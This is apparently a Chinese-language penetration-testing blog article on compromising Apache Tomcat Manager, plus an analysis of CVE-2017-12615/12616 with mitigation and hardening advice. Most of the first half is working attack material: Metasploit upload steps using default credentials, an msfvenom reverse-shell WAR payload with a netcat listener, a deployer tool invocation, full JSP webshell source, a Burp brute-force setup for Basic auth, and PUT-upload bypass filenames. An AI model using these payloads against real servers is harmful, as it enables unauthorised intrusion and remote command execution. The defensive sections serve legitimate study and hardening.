利用Tomcat Manager的多种方法

在玩CTF时,很多时候我发现Apache Tomcat在目标机器上运行,配置了默认登录,这可以帮助我们获得远程机器shell。因此我觉得,我应该编写所有可能的方法来利用tomcat manger应用程序获取远程机器的webshell。

0x01 流程

  • Tomcat Manager经过身份验证的上载代码执行
  • 生成.war格式后门
  • Tomcat War Deployer Script
  • 生成JSP Webshell

让我们从nmap扫描开始,到tomcat服务检查端口8080作为tomcat。

1
nmap -sV -p8080 192.168.1.101

img

从nmap输出结果,我们发现Apache Tomcat的端口8080是开放的。因此,我们导航到Web浏览器并探索目标IP:端口我们看到HTTP身份验证页面登录tomcat manger应用程序。

img

1.Tomcat Manager经过身份验证的上载代码执行

1
2
3
4
5
6
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
msf exploit(multi/http/tomcat_mgr_upload) > exploit

此模块可用于在具有公开“管理器”应用程序的Apache Tomcat服务器上执行有效负载。有效负载作为WAR存档上载,包含使用针对/ manager / html / upload组件的POST请求的jsp应用程序。注意:兼容的有效负载集根据所选目标而有所不同。例如,您必须选择Windows目标才能使用本机Windows有效负载。

img

结果你可以观察到,我们有目标机器的meterpreter会话。

2.生成.war格式后门

img

我们可以使用msfvenom为java / jsp有效负载生成.war格式后门,您只需按照下面给出的语法创建.war格式文件然后运行netcat listener。

语法: msfvenom -p [payload] LHOST = [Kali Linux IP] LPORT = [1234] -f [文件格式]> [文件名]

1
2
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=1234 -f war > shell.war
nc -lvp 1234

img

现在使用tomcat:tomcat作为用户名:密码登录tomcat manager应用程序。管理员仪表板将欢迎您上传.war文件。

正如您所看到的那样,浏览器中的恶意shell.war文件将在图像中突出显示。只要您上传文件,就会在应用程序表中看到文件的/ path条目

要执行.war文件,必须单击Application表中提到的/.war文件路径。或者您可以直接浏览http:// target_IP:port / file_name

一旦执行文件,您将通过netcat获得反向连接。

img

Booom!我们再一次访问远程webshell。

img

3.Tomcat War Deployer Script

这是一个渗透测试工具,旨在利用Apache Tomcat凭证自动生成和部署JSP后门,以及之后调用它并提供漂亮的shell(通过web gui,绑定在远程机器上的侦听端口或作为反向tcp有效负载)连接到对手)。

实际上,它会动态生成JSP后门WAR包,并使用pentester提供的有效HTTP身份验证凭据(或者自定义的凭证,最终我们都喜欢tomcat:tomcat)将其部署在Apache Tomcat Manager应用程序中。

您可以从这里下载:https://github.com/mgeeky/tomcatWarDeployer

1
2
3
git clone https://github.com/mgeeky/tomcatWarDeployer
cd tomcatWarDeployer
ls

img

现在按照语法来利用目标机器,而无需手动上传.war文件。

语法: ./ tomcatWarDeployer.py -U [usrename] -p [password] -H [Kali Linux IP] -p [监听端口] [target_IP]:[tomcat_port]

1
./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080

在执行上面的命令时,我直接获得了webshell,你可以在下面给出的图像中观察它。

img

4.生成JSP Webshell

在本部分中,我们将了解如何生成和部署Webshell以在Tomcat manger应用程序上执行命令。

首先,我们需要编写Webshell并将其打包为.war文件格式。要编写jsp Webshell,我们使用以下代码,我在此链接中找到了这些代码:https*://pentesterlab.com/exercises/cve-2007-1860/course*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<span style="color: #000000;"><FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre></span>

将代码保存为index.jsp,然后执行以下命令将其打包为.war文件。

1
2
3
4
mkdir webshell
cp index.jsp webshell/
cd webshell
jar -cvf ../webshell.war *

在上面的命令的帮助下,您将获得一个war文件,您可以在tomcat manger应用程序中部署该文件。

img

从下面给出的图像中可以看出,我已经部署了成功上传的webshell.war文件,现在让我们点击这个文件来执行它。

img

在执行/ webshell时,您将收到HTTP 404错误,现在执行index.jsp文件,如下所示:

1
http://192.168.1.106:8080/webshell/index.jsp

在执行上面的URL时,您将获得命令执行表单,现在明智地使用它来cmd命令。

img

希望!您很享受本文如何使用CVE-2007-1860访问Tomcat管理器

0x02 tomcat爆破

在渗透测试中,我们经常遇到tomcat后台被默认部署在外部的情况,类似于http://192.168.3.204:8080/host-manager/html

在这种情况下,我们都会选择去爆破来进入后台部署shell。

先抓取一下我们的登录包:

1
2
3
4
5
6
7
8
9
10
11
GET /host-manager/html HTTP/1.1
Host: 192.168.3.204:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 FirePHP/0.7.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
x-insight: activate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46MTIzNDU2

在Tomcat后台登录的数据包中我们发现它会将输入的账号和密码都编码成Base64密文。

格式:用户名:密码 => admin:123456 => YWRtaW46MTIzNDU2

这里我们可以采用Metasploit中的tomcat爆破辅助模块,当然也可以用BurpSuite来爆破:

将数据包发送到Intruder模块,添加一个变量:

Intruder

在设置Payload的时候要使用自定义迭代器:

Intruder

由于登录令牌都是base64加密的,我们需要 [用户名]:[密码]这样的格式进行base64encde才可以发送出去,我们设置三个迭代payload分别代表:用户名、:、密码、。

Intruder

第一位设置用户名这类的字典,可以多个。

payloads

第二位设置:,只需要一个即可。

payloads

第三位设置密码,可以多个。

然后设置一个编码器,选择base64这个函数:

encoder

接下来再将url编码去掉,因为在base64密文里=会被编码成%3d

urldecode

设置完毕后,我们可以爆破了:

payloads

0x03 CVE-2017-12615 CVE-2017-12616原理

1. 漏洞概述

2017年9月19日,Apache Tomcat 官方确认并修复了两个高危漏洞,漏洞 CVE 编号:CVE-2017-12615 和 CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,官方评级为高危,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意 JSP 文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险

2.漏洞描述:

  • CVE-2017-12616:信息泄露漏洞

当 Tomcat 中启用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源服务的 JSP 源代码,从而造成代码信息泄露。

  • CVE-2017-12615:远程代码执行漏洞

当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

在一定的条件下,通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

3.漏洞详细分析信息

3.1. 环境搭建

Apache Tomcat 默认开启 PUT 方法,org.apache.catalina.servlets.DefaultServlet的 readonly 默认为 true,而且默认没有在 conf/web.xml 里写,需要手工添加并且改为 false,才可以测试。

1
2
3
4
5
6
7
<init-param>

<param-name>readonly</param-name>

<param-value>false</param-value>

</init-param>

3.2. 原理分析

本次 Apache Tomcat 两个 CVE 漏洞涉及到 DefaultServlet 和 JspServlet,DefaultServlet 的作用是处理静态文件 ,JspServlet 的作用是处理 jsp 与 jspx 文件的请求,同时 DefaultServlet 可以处理 PUT 或 DELETE 请求,以下是默认配置情况:

img

除了 jsp 和 jspx 默认是由 org.apache.jasper.servlet.JspServlet 处理,其他默认都是由org.apache.catalina.servlets.DefaultServlet 来处理。

可以看出即使设置 readonly 为 false,默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,因为后端都用org.apache.jasper.servlet.JspServlet 来处理 jsp 或是 jspx 后缀的请求了,而 JspServlet 中没有 PUT 上传的逻辑,PUT 的代码实现只存在于 DefaultServlet 中。

这个漏洞的根本是通过构造特殊后缀名,绕过了 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件。

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

利用这两种姿势 PUT 请求 tomcat 的时候,骗过 tomcat 而进入 DefaultServlet 处理的逻辑,如图:

imgimgimg

3.3. 调试代码

调试 DefaultServlet.java 代码流程,如下:

img

设置 readOnly 为 false

先调用栈

img

重点看 doPut,这里 tomcat 开始处理 PUT 请求,可以看到这里如果 readonly 是 true 就直接进入 error 了,所以需要设置成 false。

imgimg

真正写入文件在 FileDirContext.java 的 rebind 函数里。

imgimgimgimg

FileOutputStream 特性

上面遗留了一个问题就是当请求 jsp%20 或是 jsp::$DATA 后缀的时候,为什么最终却写入 .jsp 后缀的文件,这些其实是 java.io. FileOutputStream 的问题了,具体需要分析 jdk 的 C 代码才能得到解答,如图

imgimgimg

跟到 open 是 native 的,已经不是 java 层面的问题了,这个 open 实际上是一个 jni 接口,然后调用 windowsAPI CreateFileW 创建文件,这里下载 openjdk6 的 jdk 代码分析,如图:

img

这里 Java_java_io_FileOutputStream_open 便是上边 java 代码里 open 函数的C代码实现,其中参数 path 对应 open 函数的 name 变量,继续跟踪,如图:

img

继续跟入 winFileHandleOpen,这里最终是调用 windows 的 CreateFileW 实现文件创建,如图:

img

而在 windows 下,创建文件是对后缀名称有要求的,例如:如果后缀末尾是空格,会被去掉,a.txt::$DATA传入 CreateFileW 也会被处理成 a.txt

java.io.File 的特性

前面没有说evil.jsp/,这种方法也可以 PUT 上传,但是不同于上面两种,这种方法是利用了 File 类的特性,先看代码,如图:

imgimg

这里测试发现 java.io.File 会过滤掉子文件名末尾的斜杠,写一个测试用例确实是这样的,如图:

img

具体跟踪一下代码,如图:

img

继续跟入,如图:

img

在这里这个 normalize(path, n, (prev == slash) ? i - 1 : i) 会将文件名末尾的/过滤掉,所以可以导致后面文件写入 jsp 文件。

3.4. 漏洞复现

Apache Tomcat 7 默认值是 true,在默认条件下,无法成功利用这两个漏洞。为了触发漏洞,需要在 conf/web.xml 中 defaultservlet 的配置中手工添加如下配置:

1
2
3
4
5
6
7
<init-param>

<param-name>readonly</param-name>

<param-value>false</param-value>

</init-param>

我们通过构造的请求上传 b.jsp,执行该请求请求就会由 DefaultServlet 处理,从而PUT操作就会顺利执行,成功上传文件,以下通过构造请求,触发并复现该漏洞:

img

在分析的时候,我们也发现 File 类存在一个利用点,normalize 函数过滤掉了末尾斜杠。我们通过构造请求测试,发现可以被利用,通过对全版本测试,发现 Windows、Linux、Unix 下的 Apache Tomcat 5.X、6.X、7.x、8.x、9.x 版本均受到影响,从这点可以看出官方给出的补丁存在绕过,目前该问题已经得到 Apache 官方的确认。

img

img

4. 漏洞分析总结

从以上分析可以得出,该漏洞利用的前提条件需要手动开启 readOnly 功能,以支持上传操作,在 Apache tomcat 7.X 版本默认配置的情况下是无法成功利用漏洞,从实际测试来看,漏洞危害性并没有那么高。

但是如果用户一旦启用了 readOnly 功能,黑客可利用漏洞成功入侵。

5. 如何检测漏洞?

从以上分析可以得出,该漏洞利用的前提条件需要手动开启 readOnly 功能,开发或运维人员可以排查是否启用了 PUT 方法并开启了 readOnly 功能。

6. 如何应对漏洞?

  1. 根据业务评估配置 conf/webxml 文件的 readOnly 值为 Ture 或注释参数,禁用 PUT 方法并重启 tomcat 服务,临时规避安全风险; 注意: 如果禁用 PUT 方法,对于依赖PUT方法的应用,可能导致业务失效。
  2. 目前官方已经发布了 7.0.81 版本修复了两个漏洞,建议用户尽快升级到最新版本;
  3. 对于最新版本绕过的问题,建议用户持续关注官方信息,及时更新到最新版本;
  4. 可以选用阿里云云盾WAF产品进行防御。
  5. 未使用WAF前:img

Figure 1成功上传文件

  • 使用WAF后的防御效果:img

Figure 2上传文件时报405,上传文件失败

7. Web安全最佳实践

为什么PUT方法不安全?

除标准常用的 GET 和 POST 方法外,HTTP 请求还使用其他各种方法,PUT 方法是 HTTP 请求方法中的一种。此方法用于请求服务器把请求中的实体储存在请求资源下,如果请求资源已经在服务器中存在,那么将会用此请求中的数据替换原先的数据,作为指定资源的最新修改版。如果请求指定的资源不存在,将会创建这个资源,且数据位请求正文。

在以往的实际安全事件案例中,我们可以看到,由于 PUT 方法自身不带验证机制,有很多利用PUT方法很快捷简单的成功入侵服务器,上传 Webshell 或其他恶意文件,从而获取敏感数据或服务器权限,从 web 安全年最佳实践来看,我们不推荐使用这些不安全的 http OPTIONS 方法。

从安全最佳实践来说,我们应该遵循“最小化”原则,不要随意开启不必要的服务或方法,仅开启必要的功能,减小风险暴露面,从而降低安全风险,保障业务的安全性。

最佳实践:如何知道自己网站使用了哪些http方法?

img

查看响应的 Allow: GET, HEAD, POST, OPTIONS,TRACE

注:该测试仅限于自身业务。

禁用不必要的 http 方法

  • IIS:

IIS 默认拒绝 PUT 和 DELETE 请求,如果使用了不安全的方法,建议禁用 webDAV 模块。

img

  • Apache:
1
2
3
4
5
6
7
8
9
10
11
12
13
<Location />

仅允许GET和POST方法,修改后重启服务。

<LimitExcept GET POST >

Order Allow,Deny

Deny from all

</LimitExcept>

</Location>
  • Tomcat:

修改web.xml配置,增加以下内容,并重启tomcat服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<security-constraint>

<web-resource-collection>

<url-pattern>/*</url-pattern>

<http-method>PUT</http-method>

<http-method>DELETE</http-method>

<http-method>HEAD</http-method>

<http-method>OPTIONS</http-method>

<http-method>TRACE</http-method>

</web-resource-collection>

<auth-constraint>

</auth-constraint>

</security-constraint>

<login-config>

<auth-method>BASIC</auth-method>

</login-config>

翻译文章:https://www.hackingarticles.in/

tomcat漏洞:

https://www.bodkin.ren/index.php/archives/27/

倾旋的文章

Apache Tomcat RCE(CVE-2017-12615 )

知道创宇404实验室

session操纵 https://www.secpulse.com/archives/21881.html <http://blog.51cto.com/chenjc/1434858

-------------本文结束感谢您的阅读-------------